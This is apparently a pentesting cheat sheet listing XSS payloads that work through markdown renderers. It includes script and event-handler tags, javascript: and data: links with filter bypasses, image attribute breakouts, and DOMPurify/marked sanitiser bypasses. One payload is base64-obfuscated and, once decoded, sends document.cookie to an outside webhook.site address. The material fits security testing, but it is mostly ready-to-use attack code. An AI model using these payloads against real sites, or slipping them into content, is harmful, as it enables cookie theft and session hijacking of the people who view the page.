If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.
### HTML tags
The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML
```html
<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
You can find more examples in the [main XSS page of hacktricks](./).
### Javascript links
If HTML tags aren't an option you could always try to play with markdown syntax:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img event syntax abuse
```markdown
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
### HTML Sanitiser Markdown Bypass
The following code is **sanitising HTML input** and then **passing it to the markdown parser**, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify&#x20;
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
```
Payloads example:
```html
<div id="1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
<a title="a
<img src=x onerror=alert(1)>">yep</a>
------------------------------------------------
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
----------------------------------------------
`<p x="`<img src=x onerror=alert(1)>"></p>
```
